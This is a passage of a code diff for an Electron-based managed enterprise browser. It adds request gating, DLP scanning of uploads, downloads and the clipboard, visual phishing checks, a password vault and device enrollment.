if(securityCore.dnsAddressBlocked(host.replace(/^\[|\]$/g,''),currentPolicy))throw Error('dns-ip-blocklist'); + let timer;const resolved=await Promise.race([browserSession.resolveHost(host,{cacheUsage:'allowed'}),new Promise((_,reject)=>{timer=setTimeout(()=>reject(Error('dns-resolution-timeout')),5000);})]).finally(()=>clearTimeout(timer)); + const addresses=resolved.endpoints?.map(v=>v.address)||[]; + if(!addresses.length||addresses.some(ip=>securityCore.dnsAddressBlocked(ip,currentPolicy)))throw Error('dns-ip-blocklist'); +} +function hooks(){ + browserSession.setPermissionRequestHandler((_wc,_permission,callback)=>callback(false)); + browserSession.setPermissionCheckHandler(()=>false); + const download=createDownloadGate({getContext:id=>{const tab=tabs.fromContents(id);return tab?{ready,policy,webContentsId:id,token:tabContext(tab.id,{foreground:false})}:null;},isCurrent:context=>!!context&¤tTabContext(context.token)&&policy===context.policy, + fetchResponse:(url,options)=>diagnosticSpan('browser.request',{operation:'download'},()=>browserSession.fetch(url,options)),scan:(bytes,p)=>diagnosticSpan('browser.inspect.enterprise',{bytes:bytes.length},()=>scanDownloadEnterprise(bytes,p,localInspector)), + choosePath:async name=>{const chosen=await dialog.showSaveDialog(win,{title:'Save scanned download (choose a new file)',defaultPath:path.join(app.getPath('downloads'),name)});return chosen.canceled?null:chosen.filePath;}, + writeFile:async(file,bytes,current)=>{ + if(!current()||!path.isAbsolute(file)||file.includes('\\\\?\\')||file.slice(2).includes(':'))throw Error('Save path rejected'); + const handle=await fs.promises.open(file,'wx',0o600);let release=false; + try{if(!current())throw Error('Policy changed');await handle.writeFile(bytes);await handle.sync();if(!current())throw Error('Policy changed');release=true;} + finally{await handle.close();if(!release)await fs.promises.unlink(file).catch(()=>{});} + },audit,status:text=>{message=text;emit();}}); + browserSession.on('will-download',(event,item,contents)=>{ + const url=item.getURL(),name=item.getFilename(),tracked=recentRequests.get(`${contents?.id}:${url}`);event.preventDefault(); + if(!/^https?:\/\//.test(url)){audit('download.block','unsupported-download');return;} + diagnosticSpan('browser.download',{},()=>download({url,name,method:tracked?.method,webContentsId:contents?.id})).catch(()=>audit('download.block','download-inspection-failed')); + }); + browserSession.webRequest.onBeforeRequest({urls:['']},(details,callback)=>{ + // A delegated native frontend may load its bundled Chromium UI only. Its HTTP + // requests receive no exemption, and neither pages nor trusted chrome qualify. + if(developerAssetRequestAllowed(details,{ready,policy,tabs:tabs.all()})){callback({cancel:false});return;} + let called=false;const finish=cancel=>{if(!called){called=true;callback({cancel});}}; + const initialPolicy=policy,source=details.webContentsId>0?tabs.fromContents(details.webContentsId):null,sourceContext=source?tabContext(source.id,{foreground:false}):null; + const sourceCurrent=()=>!sourceContext||currentTabContext(sourceContext);const timer=setTimeout(()=>finish(true),40000); + // Async gates complete before Chromium may transmit the request. + diagnosticSpan('browser.request',{requestType:details.resourceType,...(source?{sessionId:source.id}:{})},async()=>{try{ + if(!ready||!policy||Date.parse(policy.expiresAt)<=Date.now()||(details.webContentsId>0&&(!source||!source.guarded))){finish(true);return;} + if(!core.destinationAllowed(details.url,policy)){audit('navigation.block',null,new URL(details.url).hostname);finish(true);return;} + recentRequests.set(`${details.webContentsId}:${details.url}`,{method:details.method,time:Date.now()});if(recentRequests.size>2000)for(const [url,value]of recentRequests)if(value.time2000)recentRequests.delete(url); + try{await dnsGate(details.url,initialPolicy);}catch(error){audit('dns.block',error.message,new URL(details.url).hostname);finish(true);return;} + if(!ready||policy!==initialPolicy||!sourceCurrent()){finish(true);return;} + if(details.resourceType==='webSocket'&&!policy.browser.allowWebSockets){audit('dlp.block','websocket-disabled',new URL(details.url).hostname);finish(true);return;} + const address=new URL(details.url),query=address.pathname+address.search; + const queryVerdict=core.inspect(Buffer.from(query),policy); + if(queryVerdict.decision==='block'){audit('dlp.block',queryVerdict.ruleId,new URL(details.url).hostname);finish(true);return;} + const uploads=details.uploadData||[]; + if(policy.security.visualPhishing.enabled&&(uploads.length||(address.search&&details.resourceType==='xhr')||details.resourceType==='webSocket')){ + const checked=source?await checkVisual(source):{decision:'unknown'};if(checked.decision!=='allow'||!ready||policy!==initialPolicy||!sourceCurrent()){finish(true);return;} + } + // Electron file/data-pipe interception cannot bind scanning to the bytes later sent. + // Block these paths rather than scanning a mutable file and allowing a race. + if(uploads.some(part=>!part.bytes || part.file || part.blobUUID)){audit('dlp.block','uninspectable-upload',new URL(details.url).hostname);finish(true);return;} + if(!['GET','HEAD','OPTIONS'].includes(details.method)&&!uploads.length){audit('dlp.block','missing-request-body',new URL(details.url).hostname);finish(true);return;} + if(uploads.length){ + if(uploads.reduce((n,p)=>n+p.bytes.length,0)>policy.dlp.maxBytes){audit('dlp.block','size-limit',new URL(details.url).hostname);finish(true);return;} + const requestBytes=Buffer.concat(uploads.map(p=>Buffer.from(p.bytes))); + const transfer=require('../../packages/core/file-transfer.cjs').inspectFileTransfer(requestBytes,policy,'upload'); + const fileFacts={bytes:requestBytes.length,detectedType:transfer.detectedType,sha256:transfer.sha256}; + const releaseUpload=async()=>{await audit('upload.authorized',null,new URL(details.url).hostname,fileFacts);finish(!ready||policy!==initialPolicy||!sourceCurrent());}; + if(transfer.decision!=='allow'){await audit('upload.block',transfer.ruleId,new URL(details.url).hostname,fileFacts);requestBytes.fill(0);finish(true);return;} + const verdict=core.inspect(requestBytes,policy);requestBytes.fill(0); + if(verdict.decision==='block'&&verdict.ruleId!=='uninspectable'){audit('dlp.block',verdict.ruleId,new URL(details.url).hostname);finish(true);return;} + if(verdict.ruleId==='uninspectable'||policy.dlp.semantic.enabled||policy.security.yara.enabled||icapRequired(policy,'upload')){ + const needsLocal=verdict.ruleId==='uninspectable'||policy.dlp.semantic.enabled||policy.security.yara.enabled; + if(needsLocal&&!localInspector){audit('dlp.block','inspector-unavailable',new URL(details.url).hostname);finish(true);return;} + const snapshot=Buffer.concat(uploads.map(p=>Buffer.from(p.bytes))),currentPolicy=policy; + try{let result=needsLocal?await diagnosticSpan('browser.inspect.local',{bytes:snapshot.length},()=>localInspector.inspect(snapshot,currentPolicy)):{decision:'allow'};if(result.decision==='allow')result=await diagnosticSpan('browser.inspect.enterprise',{bytes:snapshot.length},()=>scanEnterprise(snapshot,currentPolicy,'upload')); + const cancel=!ready||policy.version!==currentPolicy.version||!sourceCurrent()||result.decision!=='allow'; + if(cancel){audit('dlp.block',result.ruleId||'policy-changed',new URL(details.url).hostname);finish(true);}else await releaseUpload(); + }catch{audit('dlp.block','inspection-incomplete',new URL(details.url).hostname);finish(true);}finally{snapshot.fill(0);}return; + }else{await releaseUpload();return;} + } + finish(false); + }catch{finish(true);}finally{clearTimeout(timer);}}).catch(()=>finish(true)); + }); + // Session request and permission gates are installed exactly once. +} +function installSiteHooks(tab){ + const contents=tab.view.webContents,security=tab.security; + const developerTools=createDeveloperToolsGuard({contents,getContext:()=>({ready,foreground:tab===activeTab()&&!tab.startPage&&!overviewPanel&&!toolsOpen,policy,url:contents.getURL(),token:tabContext(tab.id)}),isCurrent:context=>currentTabContext(context.token),audit:kind=>audit(kind),createFrontend:()=>{const frontend=new BrowserWindow({show:false,width:1000,height:750,title:'S Browser · Privileged developer tools',webPreferences:{session:browserSession,nodeIntegration:false,contextIsolation:true,sandbox:true,devTools:false}});security.developerFrontend=frontend.webContents;frontend.webContents.setWindowOpenHandler(()=>({action:'deny'}));return frontend;}}); + security.developerToolsGuard=developerTools; + contents.setWindowOpenHandler(({url})=>{createNativeTab({url}).catch(e=>{message=e.message;emit();});return {action:'deny'};}); + contents.on('will-navigate',(event,url)=>{if(!ready||!core.destinationAllowed(url,policy))event.preventDefault();}); + contents.on('will-attach-webview',event=>event.preventDefault()); + contents.on('before-input-event',(event,input)=>{if(developerTools.handleInput(event,input))return;const approval=security.visualApproval;if(policy?.security.visualPhishing.enabled&&(!approval||approval.generation!==tab.navigationId||approval.version!==policy.version||approval.url!==contents.getURL())){event.preventDefault();checkVisual(tab).catch(()=>{});}}); + contents.on('did-start-navigation',(_event,_url,_inPlace,isMainFrame)=>{if(isMainFrame){tabs.navigation(tab.id);if(_url!=='about:blank')tab.startPage=false;}}); + contents.on('did-navigate',()=>emit());contents.on('did-navigate-in-page',()=>emit()); + contents.on('did-finish-load',()=>pageTheme(tab));contents.on('page-title-updated',()=>{tab.title=contents.getTitle().slice(0,200);if(tab===activeTab())pageTitle=tab.title;emit();}); + installClipboardControls(contents); + security.visualScanner=createVisualPhishing({getContext:()=>({ready,policy,webContents:contents,url:contents.getURL(),navigationId:tab.navigationId}), + describe:url=>visualDeadline(contents.executeJavaScriptInIsolatedWorld(999,[{code:describeScript(url)}],false)), + capture:async(scope,description)=>{let rect;if(scope==='login-form'){const r=description.formRect;if(!r)throw Error('Login region unavailable');rect={x:Math.floor(r.x),y:Math.floor(r.y),width:Math.ceil(r.width),height:Math.ceil(r.height)};}const bytes=await visualDeadline(capturePNG(contents,rect));if(bytes.length<24)throw Error('Capture dimensions unavailable');return {bytes,width:bytes.readUInt32BE(16),height:bytes.readUInt32BE(20)};}, + fingerprint:capture=>{try{return fingerprintPNG(capture.bytes);}finally{capture.bytes.fill(0);}},compare:hammingDistance, + audit:event=>audit(event.kind,event.ruleId,event.host),block:result=>{security.visualBlocked={...result,message:result.reason==='credential-brand-impersonation'?'Blocked: this login resembles a protected brand on an unapproved origin.':'Blocked: this login could not be inspected safely.'};security.visualApproval=null;quarantine(security.visualBlocked.message);} + }); +} +function createNativeTab(input={}){return diagnosticSpan('browser.tab',{operation:'create'},()=>createNativeTabImpl(input));} +async function createNativeTabImpl(input={}){ + if(!input||typeof input!=='object'||Object.keys(input).some(key=>!['group','url'].includes(key)))throw Error('Invalid native tab request'); + if(input.group)requireManagedSection('library'); + const tab=tabs.create({group:input.group||''});installSiteHooks(tab); + try{ + await tab.view.webContents.loadURL('about:blank'); + await diagnosticSpan('browser.clipboard',{operation:'create',sessionId:tab.id},()=>attachPageClipboardGuard(tab.view.webContents,()=>{clipboardFatal=true;quarantine('Managed clipboard protection failed; restart the browser');audit('clipboard.block','clipboard-primitive-unavailable');app.quit();})); + tab.guarded=true;selectTab(tab.id); + if(input.url)await navigate({url:input.url,tabId:tab.id});emit();return state(); + }catch(error){if(tabs.all().includes(tab)){tabs.remove(tab.id);if(tabs.active()?.guarded)selectTab(tabs.active().id);}throw error;} +} + +function updateManagedAppearance(input){requireManagedSection('appearance');appearancePreferences={...appearancePreferences,...validateAppearance(input)};persistAppearance();emit();return managedSettings();} +async function closeNativeTab(id){tabs.remove(id);if(!tabs.all().length)await createNativeTab();else selectTab(tabs.active().id);emit();return state();} +function groupNativeTab(input){requireManagedSection('library');if(!input||typeof input.group!=='string'||input.group.length>40)throw Error('Invalid native tab group');tabs.get(input.id).group=input.group;emit();return state();} +function agentAppControls(){ + const checked=(operation)=>async(args,{signal,policyVersion}={})=>{ + if(signal?.aborted||!ready||policy?.version!==policyVersion||!featureAllowed(managedSettings(),'agents'))throw Error('Managed application changed'); + return operation(args); + }; + return { + 'application:state':checked(()=>({ready,policyVersion:policy.version,activeTabId:activeTab()?.id,tabCount:tabs.all().length})), + 'settings:get':checked(()=>managedSettings()), + 'settings:update':checked(args=>updateManagedAppearance(args.appearance)), + 'bookmarks:list':checked(()=>({...bookmarkState({policy:effectiveBookmarkPolicy(),ready,settings:managedSettings()}),policyVersion:policy.version})), + 'bookmarks:mutate':checked(async args=>{await mutateManagedBookmarks(args);return {completed:true};}), + 'tabs:create':checked(async args=>{const result=await createNativeTab(args);return {completed:true,sessionId:result.activeTabId};}), + 'tabs:activate':checked(args=>{selectTab(args.sessionId);emit();return {completed:true,sessionId:args.sessionId};}), + 'tabs:close':checked(async args=>{await closeNativeTab(args.sessionId);return {completed:true};}), + 'tabs:group':checked(args=>{groupNativeTab({id:args.sessionId,group:args.group});return {completed:true,sessionId:args.sessionId};}) + }; +} +function ipc(channel,fn){ipcMain.handle(channel,async(event,...args)=>{ + if(event.sender!==win.webContents || event.senderFrame!==win.webContents.mainFrame || event.senderFrame?.url!==uiUrl)throw Error('Untrusted IPC sender'); + try{return {ok:true,data:await diagnosticSpan('browser.ipc',{operation:channel.slice('managed:'.length)},()=>fn(...args))};}catch(e){return {ok:false,error:e.message};} +});} +app.whenReady().then(async()=>{ + if(!ownsBrowserInstance)return; + if(cliRequest){try{await require('./agent-client.cjs').runClient(cliConnection,cliRequest);}catch{console.error('Local agent action failed. Check policy and encrypted pairing file.');app.exit(1);}return;} + core=await import('../../packages/core/policy.mjs'); + clipboardCore=await import('../../packages/core/clipboard.mjs'); + ipcMain.on('managed:clipboard-sandbox-failure',event=>{if(tabs?.fromContents(event.sender.id)||event.sender===win?.webContents){clipboardFatal=true;quarantine('Managed renderer security failed. Restart this browser.');}}); + powerMonitor.on('lock-screen',lockVault);powerMonitor.on('suspend',lockVault); + securityCore=await import('../../packages/core/security.mjs'); + localInspector=startInspector(app.isPackaged?process.resourcesPath:path.join(__dirname,'../..'),app.isPackaged); + browserSession=session.fromPartition('persist:safetynet-managed',{cache:false}); + // Management has its own cookie jar and no website request gate. It uses the + // same company proxy and Chromium DNS configuration as managed website traffic. + managementSession=session.fromPartition('persist:safetynet-management',{cache:false}); + browserSession.registerPreloadScript({type:'frame',id:'managed-clipboard-deny',filePath:path.join(__dirname,'clipboard-deny.cjs')}); + session.defaultSession.registerPreloadScript({type:'frame',id:'shell-clipboard-deny',filePath:path.join(__dirname,'clipboard-deny.cjs')}); + Menu.setApplicationMenu(null); + win=new BrowserWindow({width:1320,height:900,minWidth:800,minHeight:600,frame:false,roundedCorners:true,hasShadow:true,backgroundMaterial:'acrylic',backgroundColor:'#eef1f5',autoHideMenuBar:true,webPreferences:{preload:path.join(__dirname,'preload.cjs'),nodeIntegration:false,contextIsolation:true,sandbox:true,devTools:false}}); + win.removeMenu(); + tabs=createTabRegistry({createView:()=>new WebContentsView({webPreferences:{session:browserSession,preload:path.join(__dirname,'site-preload.cjs'),nodeIntegration:false,nodeIntegrationInSubFrames:true,contextIsolation:true,sandbox:true,webSecurity:true,allowRunningInsecureContent:false}}),attach:v=>win.contentView.addChildView(v),detach:v=>win.contentView.removeChildView(v),dispose:tab=>disposePageClipboardGuard(tab.view.webContents)}); + const executeClipboard=(mode,args)=>args.webContents.executeJavaScriptInIsolatedWorld(999,[{code:clipboardScript(mode,args)}],false); + clipboardGuard=createClipboardGuard({ + getContext:contents=>{const target=contents||view?.webContents,tab=target&&tabs.fromContents(target.id),site=!!tab,url=target?.getURL()||'',token=site?tabContext(tab.id):null;return {ready:ready&&target?.isFocused()&&(site?tab===activeTab()&&!tab.startPage&&!overviewPanel&&!toolsOpen&&core.destinationAllowed(url,policy):target===win.webContents&&url===uiUrl),policy,webContents:target,url,navigationId:site?tab.navigationId:0,tabId:tab?.id,activation:token?.activation};}, + stage:async args=>{const tab=tabs.fromContents(args.webContents.id);if(tab&&args.operation==='paste'&&policy?.security.visualPhishing.enabled&&(await checkVisual(tab)).decision!=='allow')throw Error('Login protection holds paste');return executeClipboard('stage',args);}, + validate:args=>executeClipboard('validate',args),commit:args=>executeClipboard('commit',args), + discard:args=>executeClipboard('discard',{...args,url:'',operation:'copy',limit:0}), + readClipboard:async limit=>{const items=await clipboard.read();if(items.length!==1)throw Error('Clipboard format unsupported');const item=items[0];if(!item.types.includes('text/plain')||item.types.some(type=>type!=='text/plain'&&!/^electron application\/osclipboard;format="(?:CF_TEXT|CF_UNICODETEXT|CF_LOCALE)"$/.test(type)))throw Error('Rich clipboard denied');const blob=await item.getType('text/plain');if(blob.size>limit)throw Error('Clipboard size limit');return blob.text();}, + writeClipboard:text=>clipboard.writeText(text), + inspect:async(bytes,currentPolicy,operation)=>{let verdict=clipboardCore.inspectClipboard(bytes,currentPolicy,operation);if(verdict.decision!=='allow')return verdict;if(currentPolicy.dlp.semantic.enabled||currentPolicy.security.yara.enabled){if(!localInspector)return {decision:'block',ruleId:'clipboard-inspector-unavailable'};verdict=await diagnosticSpan('browser.inspect.local',{bytes:bytes.length},()=>localInspector.inspect(bytes,currentPolicy));}if(verdict.decision!=='allow')return verdict;const external=await diagnosticSpan('browser.inspect.enterprise',{bytes:bytes.length},()=>scanEnterprise(bytes,currentPolicy,'clipboard'));return external.decision==='allow'?verdict:external;}, + audit:async(kind,ruleId)=>{await audit(kind,ruleId);if(kind==='clipboard.block'&&ready){message=`Clipboard blocked by company policy (${ruleId}).`;emit();}} + }); + installClipboardControls(win.webContents);hooks(); + ipcMain.on('managed:visual-policy',event=>{event.returnValue={enabled:!!tabs.fromContents(event.sender.id)&&!!policy?.security.visualPhishing.enabled};}); + ipcMain.handle('managed:visual-check',async(event,input)=>{ + const tab=tabs.fromContents(event.sender.id);if(!tab||event.senderFrame!==event.sender.mainFrame||!input||typeof input.token!=='string'||input.token.length>80||!Number.isSafeInteger(input.revision)||input.revision<0||input.url!==event.sender.getURL())return {decision:'unknown'}; + const security=tab.security;if(input.token!==security.visualToken||input.revision!==security.visualRevision){tabs.navigation(tab.id);security.visualToken=input.token;security.visualRevision=input.revision;} + try{return await checkVisual(tab);}catch{return {decision:'unknown'};} + }); + await createNativeTab(); + win.webContents.setWindowOpenHandler(()=>({action:'deny'}));win.webContents.on('will-navigate',event=>event.preventDefault()); + ipc('managed:state',()=>({...state(),pageTitle,pageColor,windowMaximized:win.isMaximized()})); + ipc('managed:window-control',action=>{if(action==='minimize')win.minimize();else if(action==='maximize'){win.isMaximized()?win.unmaximize():win.maximize();}else if(action==='close')win.close();else throw Error('Unknown window action');}); + ipc('managed:authorize-setting',section=>{requireManagedSection(section);return {authorized:true,policyVersion:policy.version};}); + ipc('managed:bookmarks-mutate',mutateManagedBookmarks); + ipc('managed:settings-update',updateManagedAppearance); + ipc('managed:chrome-layout',async input=>{ + if(!input||![64,104].includes(input.height)||['sidebarOpen','startPageOpen','overviewOpen'].some(key=>typeof input[key]!=='boolean'))throw Error('Unsupported browser layout'); + if(managedSettings().available&&!sectionAllowed(managedSettings(),'appearance')&&input.height!==(managedSettings().appearance.tabMode==='compact'?64:104))throw Error('Tab layout is controlled by your administrator'); + if(input.toolsOpen&&!managedSettings().visible)throw Error('Settings access is disabled by your administrator'); + if(input.sidebarOpen&&!libraryVisible(managedSettings()))throw Error('Library access is controlled by your administrator'); + if(input.toolsOpen!==undefined&&typeof input.toolsOpen!=='boolean')throw Error('Unsupported tools layout');chromeHeight=input.height;leftSidebar=input.sidebarOpen;startPage=activeTab()?.startPage??true;overviewPanel=input.overviewOpen;toolsOpen=!!input.toolsOpen;layout(); + if(policy?.security.visualPhishing.enabled)await configureVisualPage(true,activeTab());return {height:chromeHeight}; + }); + ipc('managed:share-url',async()=>{ + if(!ready)throw Error('Browser access paused');const initial=policy,context=tabContext(),contents=context.webContents,pageURL=contents.getURL(),url=new URL(pageURL); + if(!['https:','http:'].includes(url.protocol)||url.username||url.password)throw Error('Cannot share this page');url.search='';url.hash='';const text=url.toString(),bytes=Buffer.from(text); + let verdict=clipboardCore.inspectClipboard(bytes,initial,'copy'); + if(verdict.decision==='allow'&&(initial.dlp.semantic.enabled||initial.security.yara.enabled))verdict=localInspector?await diagnosticSpan('browser.inspect.local',{bytes:bytes.length},()=>localInspector.inspect(bytes,initial)):{decision:'block',ruleId:'clipboard-inspector-unavailable'}; + if(verdict.decision==='allow')verdict=await diagnosticSpan('browser.inspect.enterprise',{bytes:bytes.length},()=>scanEnterprise(bytes,initial,'clipboard')); + if(verdict.decision!=='allow'){await audit('clipboard.block',verdict.ruleId);throw Error('Company policy blocks sharing this link');} + await audit('clipboard.copy','authorized-link'); + if(!ready||policy!==initial||Date.parse(initial.expiresAt)<=Date.now()||!currentTabContext(context))throw Error('Browser state changed during link inspection'); + await clipboard.writeText(text);return {copied:true}; + }); + ipc('managed:enroll',async input=>{ + if(device)throw Error('Already enrolled');requireEncryption(); + if(!input||typeof input.server!=='string'||typeof input.code!=='string'||input.code.length>200)throw Error('Invalid enrollment'); + const server=managementUrl(input.server),result=await request(server,'/api/device/enroll',{code:input.code,name:os.hostname(),platform:process.platform}); + return completeEnrollment(server,result); + }); + ipc('managed:sso',async input=>{ + if(device)throw Error('Already enrolled');requireEncryption();const server=managementUrl(input.server); + const ticket=await request(server,'/api/device/sso/start',{}); + const loginUrl=new URL(ticket.url);if(loginUrl.origin!==server || loginUrl.pathname!=='/auth/login')throw Error('Invalid login URL'); + await shell.openExternal(loginUrl.toString()); + message='Complete enterprise sign-in in your system browser…';emit(); + for(let attempt=0;attempt<100;attempt++){ + await new Promise(resolve=>setTimeout(resolve,3000)); + const result=await request(server,'/api/device/sso/poll',{id:ticket.id,secret:ticket.secret,name:os.hostname(),platform:process.platform}); + if(!result.pending)return completeEnrollment(server,result); + } + throw Error('Enterprise sign-in expired'); + }); + ipc('managed:tab-create',createNativeTab); + ipc('managed:tab-activate',id=>{selectTab(id);emit();return state();}); + ipc('managed:tab-close',closeNativeTab); + ipc('managed:tab-group',groupNativeTab); + ipc('managed:navigate',navigate); + ipc('managed:back',()=>{if(ready&&view.webContents.navigationHistory.canGoBack())view.webContents.navigationHistory.goBack();}); + ipc('managed:forward',()=>{if(ready&&view.webContents.navigationHistory.canGoForward())view.webContents.navigationHistory.goForward();}); + ipc('managed:reload',()=>{if(ready)view.webContents.reload();}); + ipc('managed:ai-panel',open=>{if(open)requireFeatureSection('ai');aiPanel=!!open;if(aiPanel){vaultPanel=false;lockVault();}layout();}); + ipc('managed:vault-panel',open=>{if(open)requireVault();vaultPanel=!!open;if(vaultPanel)aiPanel=false;else lockVault();layout();}); + ipc('managed:vault-status',()=>{requireFeatureSection('passwords');return vaultStatus();}); + ipc('managed:vault-create',async master=>{requireVault().create(master);await audit('vault.created');if(!ready){lockVault();throw Error('Browser access paused');}emit();return vaultStatus();}); + ipc('managed:vault-unlock',async master=>{requireVault().unlock(master);await audit('vault.unlocked');if(!ready){lockVault();throw Error('Browser access paused');}emit();return vaultStatus();}); + ipc('managed:vault-lock',()=>{lockVault();return vaultStatus();}); + ipc('managed:vault-list',()=>requireVault().list()); + ipc('managed:vault-save',async entry=>{if(!vaultSettings().allowSaving)throw Error('Saving passwords is disabled by company policy');const result=requireVault().upsert(entry);await audit('vault.saved');emit();return result;}); + ipc('managed:vault-delete',async id=>{if(!vaultSettings().allowSaving)throw Error('Password changes are disabled by company policy');const result=requireVault().delete(id);await audit('vault.deleted');return result;}); + ipc('managed:vault-generate',()=>{const current=requireVault();if(!vaultSettings().allowSaving||current.status().locked)throw Error('Unlock the vault before generating a password');return current.generatePassword();}); + ipc('managed:vault-fill',async id=>{ + const context=tabContext(),tab=tabs.get(context.tabId),contents=context.webContents; + if(startPage||overviewPanel||toolsOpen)throw Error('Show the saved login website before filling credentials'); + if((await checkVisual(tab)).decision!=='allow'||!currentTabContext(context))throw Error('Visual login protection has not approved this page'); + if(startPage||overviewPanel||toolsOpen)throw Error('The login website is no longer visible'); + const current=requireVault(),initial=policy,url=context.url; + if(!initial.passwordManager.allowAutofill||!core.destinationAllowed(url,initial)||new URL(url).protocol!=='https:')throw Error('Password filling requires an approved HTTPS destination'); + let credential; + try{ + const origin=new URL(url).origin;credential={...current.credential(id,origin),origin}; + await audit('vault.fill-requested'); + if(!currentTabContext(context)||startPage||overviewPanel||toolsOpen||policy!==initial||Date.parse(initial.expiresAt)<=Date.now()||current.status().locked)throw Error('Browser state changed'); + contents.focus();if(!currentTabContext(context))throw Error('Browser state changed'); + const result=await diagnosticSpan('browser.password.fill',{sessionId:context.tabId},()=>contents.executeJavaScriptInIsolatedWorld(999,[{code:fillScript(url,credential,Date.parse(initial.expiresAt))}],false)); + if(!currentTabContext(context)||startPage||overviewPanel||toolsOpen||policy!==initial||current.status().locked||result?.completed!==true)throw Error('Browser state changed'); + await audit('vault.filled');return {completed:true}; + }catch{throw Error('Cannot fill this login. Unlock the vault and use its exact HTTPS origin with a single visible same-origin POST login form.');} + finally{if(credential){credential.username='';credential.password='';}} + }); + ipc('managed:ai',managedAI); + ipc('managed:agent-connection',()=>{ + requireFeatureSection('agents'); + if(!ready||!policy.agents.enabled||!agentService)throw Error('Agent access is disabled by company policy');return {address:agentService.address,credentialPath:agentFile()}; + }); + ipcMain.on('managed:page-content',async(event,input)=>{ + const tab=tabs.fromContents(event.sender.id);if(!tab||event.senderFrame!==event.sender.mainFrame||!ready||typeof input?.text!=='string'||input.text.length>250000)return; + const initial=policy,context=tabContext(tab.id,{foreground:false});if(!initial.security.content.blockedPhrases.length)return; + const result=core.inspect(Buffer.from(input.text),initial);if(result.decision==='block'&&result.ruleId?.startsWith('content-')&¤tTabContext(context)&&policy===initial){await audit('content.block',result.ruleId);if(!currentTabContext(context))return;tab.security.contentBlocked={checkedURL:context.url,policyVersion:initial.version,message:'This page contains content blocked by company policy.'};quarantine(tab.security.contentBlocked.message);} + }); + ipc('managed:inspect-file',async()=>{ + requireFeatureSection('documentScan'); + if(!ready||!policy)throw Error('Device must be managed before inspecting files'); + if(policy.inspection?.documentAnalysisEnabled===false)throw Error('Document analysis is disabled for this browser by your administrator'); + if(!localInspector)throw Error('Local content inspector is not installed'); + const currentPolicy=policy; + const selection=await dialog.showOpenDialog(win,{title:icapRequired(policy,'upload')?'Inspect content with company security services':'Inspect company content locally',properties:['openFile']});if(selection.canceled)return null; + requireFeatureSection('documentScan'); + if(!ready||policy!==currentPolicy)throw Error('Policy changed during file selection; inspect again'); + const file=selection.filePaths[0],handle=await fs.promises.open(file,'r');let bytes; + try{const info=await handle.stat();if(!info.isFile()||info.size>policy.dlp.maxBytes)throw Error('File exceeds company inspection limit'); + // Read a bounded immutable snapshot, never release the subsequently mutable original. + const chunks=[];let size=0;for await(const chunk of handle.createReadStream()){size+=chunk.length;if(size>policy.dlp.maxBytes)throw Error('File exceeds company inspection limit');chunks.push(chunk);}bytes=Buffer.concat(chunks); + }finally{await handle.close();} + if(!ready||policy!==currentPolicy){bytes.fill(0);throw Error('Policy changed during file selection; inspect again');} + let result; + try{result=await diagnosticSpan('browser.inspect.local',{bytes:bytes.length},()=>localInspector.inspect(bytes,currentPolicy));if(result.decision==='allow'&&icapRequired(currentPolicy,'upload')){const external=await diagnosticSpan('browser.inspect.enterprise',{bytes:bytes.length},()=>scanEnterprise(bytes,currentPolicy,'upload'));if(external.decision!=='allow')result=external;}}finally{bytes.fill(0);} + if(!ready||currentPolicy.version!==policy.version)throw Error('Policy changed during inspection; inspect again'); + if(result.decision==='block')await audit('dlp.block',result.ruleId); + return {name:path.basename(file),...result}; + }); + win.on('close',()=>tabs.close()); + win.on('resize',layout);win.on('maximize',emit);win.on('unmaximize',emit);win.on('blur',lockVault);win.on('minimize',lockVault);win.on('closed',()=>{vault?.lock();clearInterval(vaultTimer);win=null;clearInterval(syncTimer);localInspector?.stop();agentService?.close();}); + loadAppearance(); + await win.loadFile(path.join(__dirname,'index.html'));layout(); + try{device=loadDevice();const queuePath=path.join(app.getPath('userData'),'audit-queue.bin');if(device&&fs.existsSync(queuePath))auditQueue=JSON.parse(safeStorage.decryptString(fs.readFileSync(queuePath)));if(device){await sync();await audit('browser.started');}}catch(e){quarantine(`Enrollment could not load: ${e.message}`);} + const refreshMs=!app.isPackaged&&process.env.SAFETYNET_SMOKE_USERDATA===app.getPath('userData')?1000:15000; + syncTimer=setInterval(()=>{if(policy&&Date.parse(policy.expiresAt)<=Date.now())quarantine('Company policy expired');sync();},refreshMs); + networkTimer=setInterval(async()=>{ + if(!policy?.enterprise?.vpn.required||networkChecking)return;networkChecking=true; + const checkedPolicy=policy; + try{const posture=await diagnosticSpan('browser.network',{operation:'scan'},()=>networkPosture.check(checkedPolicy.enterprise.vpn));if(policy===checkedPolicy&&!posture.allowed){managementHealthy=false;quarantine('Required corporate network is unavailable. Connect your company VPN.');await Promise.all([browserSession.closeAllConnections(),managementSession.closeAllConnections()]);}} + finally{networkChecking=false;} + },5000); + let wasLocked=true;vaultTimer=setInterval(()=>{const locked=vault?.status().locked??true;if(locked!==wasLocked){if(locked)audit('vault.locked');wasLocked=locked;emit();}},1000); +}).catch(error=>{console.error(error.stack);app.quit();}); +app.on('window-all-closed',()=>app.quit()); +app.on('before-quit',()=>{tabs?.close();}); +app.on('will-quit',()=>{Promise.resolve(diagnostics.shutdown()).catch(()=>{});vault?.lock();clearInterval(vaultTimer);clearInterval(networkTimer);localInspector?.stop();agentService?.close();}); +app.on('certificate-error',(event,_wc,_url,_error,_certificate,callback)=>{event.preventDefault();callback(false);}); +app.on('login',(event,_wc,_details,authInfo,callback)=>{ + event.preventDefault(); + // Proxy credentials are supplied by deployment environment, never a page or policy bundle. + if(authInfo.isProxy&&process.env.SAFETYNET_PROXY_USER&&process.env.SAFETYNET_PROXY_PASSWORD)callback(process.env.SAFETYNET_PROXY_USER,process.env.SAFETYNET_PROXY_PASSWORD); + else callback(); +}); + diff --git a/apps/browser/managed-settings.cjs b/apps/browser/managed-settings.cjs new file mode 100644 index 0000000..705a1f4 --- /dev/null +++ b/apps/browser/managed-settings.cjs @@ -0,0 +1,24 @@ +const SECTIONS=Object.freeze(['appearance','library','ai','passwords','documentScan','agents']); +const DEFAULT_APPEARANCE=Object.freeze({mode:'system',accent:'blue',tabMode:'separate'}); +// This object is computed in the privileged process, never from renderer storage. +function settingsState({policy,ready,preferences={},now=Date.now()}){ + const available=!!ready&&!!policy&&Date.parse(policy.expiresAt)>now; + const rules=policy?.browser?.settings||{}; + const visible=available&&rules.visible!==false; + const hiddenSections=Array.isArray(rules.hiddenSections)?rules.hiddenSections:[]; + const lockedSections=Array.isArray(rules.lockedSections)?rules.lockedSections:[]; + const forced=!visible||hiddenSections.includes('appearance')||lockedSections.includes('appearance'); + return 